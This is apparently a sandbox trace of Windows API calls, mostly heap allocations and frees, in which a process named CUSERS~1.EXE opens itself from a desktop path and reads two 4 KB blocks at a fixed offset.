[0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b98 | out: hHeap=0x2ad0000) returned 1 [0073.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.574] GetCurrentThreadId () returned 0x9b0 [0073.574] GetCurrentThreadId () returned 0x9b0 [0073.574] GetCurrentThreadId () returned 0x9b0 [0073.574] GetCurrentThreadId () returned 0x9b0 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179b8 | out: hHeap=0x2ad0000) returned 1 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17af0 | out: hHeap=0x2ad0000) returned 1 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a90 | out: hHeap=0x2ad0000) returned 1 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17958 | out: hHeap=0x2ad0000) returned 1 [0073.574] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a19298 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178f8 | out: hHeap=0x2ad0000) returned 1 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179d0 | out: hHeap=0x2ad0000) returned 1 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a78 | out: hHeap=0x2ad0000) returned 1 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17868 | out: hHeap=0x2ad0000) returned 1 [0073.574] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17af0, Size=0x20) returned 0x2a1fbf0 [0073.574] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a190a0 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178f8 | out: hHeap=0x2ad0000) returned 1 [0073.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a00 | out: hHeap=0x2ad0000) returned 1 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a190a0, Size=0x64) returned 0x2a196c8 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a196c8, Size=0x8c) returned 0x2ac06b0 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17910 | out: hHeap=0x2ad0000) returned 1 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17ac0 | out: hHeap=0x2ad0000) returned 1 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac06b0, Size=0xb8) returned 0x2ac14f8 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac14f8, Size=0xe8) returned 0x2ac2c50 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2c50, Size=0x120) returned 0x2ba52a8 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178f8 | out: hHeap=0x2ad0000) returned 1 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba52a8, Size=0x160) returned 0x2ba5f38 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a30 | out: hHeap=0x2ad0000) returned 1 [0073.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5f38, Size=0x1a8) returned 0x2ac8d88 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8d88, Size=0x1f8) returned 0x2ba87a0 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba87a0, Size=0x250) returned 0x2ac4960 [0073.575] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4960, Size=0x2b4) returned 0x2ba9210 [0073.577] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.577] GetFileType (hFile=0x1e8) returned 0x1 [0073.577] GetFileType (hFile=0x1e8) returned 0x1 [0073.577] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.577] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.577] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.577] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.577] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.577] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.577] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.577] GetLastError () returned 0x0 [0073.577] GetCurrentThreadId () returned 0x9b0 [0073.577] GetLastError () returned 0x0 [0073.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20198 | out: hHeap=0x2ad0000) returned 1 [0073.577] GetLastError () returned 0x0 [0073.577] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8174222, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x7cba8e [0073.577] GetLastError () returned 0x0 [0073.577] GetCurrentThreadId () returned 0x9b0 [0073.577] GetLastError () returned 0x0 [0073.578] GetCurrentThreadId () returned 0x9b0 [0073.578] GetCurrentThreadId () returned 0x9b0 [0073.578] GetLastError () returned 0x0 [0073.578] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8174222, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x7cba8e [0073.578] GetLastError () returned 0x0 [0073.578] GetCurrentThreadId () returned 0x9b0 [0073.578] GetLastError () returned 0x0 [0073.578] GetCurrentThreadId () returned 0x9b0 [0073.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1afc) returned 0x2c35850 [0073.578] GetLastError () returned 0x0 [0073.578] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c35864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x2c35864*, lpNumberOfBytesRead=0x9ba998*=0x1000, lpOverlapped=0x0) returned 1 [0073.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c37358 [0073.578] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c37358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2c37358*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.578] GetLastError () returned 0x0 [0073.578] GetCurrentThreadId () returned 0x9b0 [0073.578] GetLastError () returned 0x0 [0073.578] GetCurrentThreadId () returned 0x9b0 [0073.578] GetLastError () returned 0x0 [0073.578] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x7cda8e [0073.578] GetLastError () returned 0x0 [0073.579] GetCurrentThreadId () returned 0x9b0 [0073.579] GetLastError () returned 0x0 [0073.579] GetLastError () returned 0x0 [0073.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37358 | out: hHeap=0x2ad0000) returned 1 [0073.579] CloseHandle (hObject=0x1e8) returned 1 [0073.579] GetLastError () returned 0x0 [0073.579] GetCurrentThreadId () returned 0x9b0 [0073.579] GetLastError () returned 0x0 [0073.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c37358 [0073.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb9c68 [0073.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bbdc88 [0073.579] GetLastError () returned 0x0 [0073.579] GetCurrentThreadId () returned 0x9b0 [0073.579] GetLastError () returned 0x0 [0073.579] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb9c68, Size=0x8015) returned 0x2c1b200 [0073.579] GetLastError () returned 0x0 [0073.579] GetCurrentThreadId () returned 0x9b0 [0073.579] GetLastError () returned 0x0 [0073.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbdc88 | out: hHeap=0x2ad0000) returned 1 [0073.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37358 | out: hHeap=0x2ad0000) returned 1 [0073.579] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c1b200, Size=0x465f) returned 0x2c1b200 [0073.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c35850 | out: hHeap=0x2ad0000) returned 1 [0073.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x70e) returned 0x2c35850 [0073.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17880 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17880, Size=0x20) returned 0x2a1fab0 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fab0, Size=0x40) returned 0x2a190a0 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a190a0, Size=0x64) returned 0x2a19428 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0ad8 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ad8, Size=0xb8) returned 0x2ac1378 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1378, Size=0xe8) returned 0x2ac2200 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2200, Size=0x120) returned 0x2ba5620 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5620, Size=0x160) returned 0x2ba6d48 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba6d48, Size=0x1a8) returned 0x2ac97d8 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac97d8, Size=0x1f8) returned 0x2ba8390 [0073.580] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba8390, Size=0x250) returned 0x2ac3d58 [0073.581] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2baab18 [0073.581] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2baab18, Size=0x324) returned 0x2bab298 [0073.581] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab298, Size=0x3a4) returned 0x2c35f68 [0073.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c35f68 | out: hHeap=0x2ad0000) returned 1 [0073.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1b200 | out: hHeap=0x2ad0000) returned 1 [0073.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.581] GetCurrentThreadId () returned 0x9b0 [0073.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0dce8 [0073.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20198 [0073.581] GetCurrentThreadId () returned 0x9b0 [0073.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.581] GetCurrentThreadId () returned 0x9b0 [0073.581] GetCurrentThreadId () returned 0x9b0 [0073.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.581] GetCurrentThreadId () returned 0x9b0 [0073.581] GetCurrentThreadId () returned 0x9b0 [0073.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.581] GetCurrentThreadId () returned 0x9b0 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0de70 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c10468 [0073.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0de70 | out: hHeap=0x2ad0000) returned 1 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a60 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178f8 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aed0 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afb0 [0073.582] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aed0, Size=0x14) returned 0x2a71620 [0073.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0073.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178f8 | out: hHeap=0x2ad0000) returned 1 [0073.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a60 | out: hHeap=0x2ad0000) returned 1 [0073.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f3e0 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c12898 [0073.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f3e0 | out: hHeap=0x2ad0000) returned 1 [0073.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71700 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17928 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af90 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af80 [0073.583] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af90, Size=0x14) returned 0x2a71580 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17928 | out: hHeap=0x2ad0000) returned 1 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17898 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f258 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c164e8 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f258 | out: hHeap=0x2ad0000) returned 1 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17910 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a90 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af80 [0073.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae70 [0073.583] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af80, Size=0x14) returned 0x2a71940 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae70 | out: hHeap=0x2ad0000) returned 1 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a90 | out: hHeap=0x2ad0000) returned 1 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17910 | out: hHeap=0x2ad0000) returned 1 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0d850 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c11078 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0d850 | out: hHeap=0x2ad0000) returned 1 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b08 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17aa8 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af20 [0073.584] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af60, Size=0x14) returned 0x2a71620 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17aa8 | out: hHeap=0x2ad0000) returned 1 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b08 | out: hHeap=0x2ad0000) returned 1 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e490 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17868 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b010 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af00 [0073.584] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b010, Size=0x14) returned 0x2a71620 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af00 | out: hHeap=0x2ad0000) returned 1 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17af0 | out: hHeap=0x2ad0000) returned 1 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17868 | out: hHeap=0x2ad0000) returned 1 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f258 [0073.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0de70 [0073.585] GetCurrentThreadId () returned 0x9b0 [0073.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.585] GetCurrentThreadId () returned 0x9b0 [0073.585] GetCurrentThreadId () returned 0x9b0 [0073.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.585] GetCurrentThreadId () returned 0x9b0 [0073.585] GetCurrentThreadId () returned 0x9b0 [0073.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.585] GetCurrentThreadId () returned 0x9b0 [0073.585] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f3e0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f568 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178b0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17ad8 [0073.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17ad8 | out: hHeap=0x2ad0000) returned 1 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178e0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179d0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.586] GetCurrentThreadId () returned 0x9b0 [0073.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a00 [0073.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b50 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b50 | out: hHeap=0x2ad0000) returned 1 [0073.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17af0 | out: hHeap=0x2ad0000) returned 1 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b08 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a48 | out: hHeap=0x2ad0000) returned 1 [0073.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] GetCurrentThreadId () returned 0x9b0 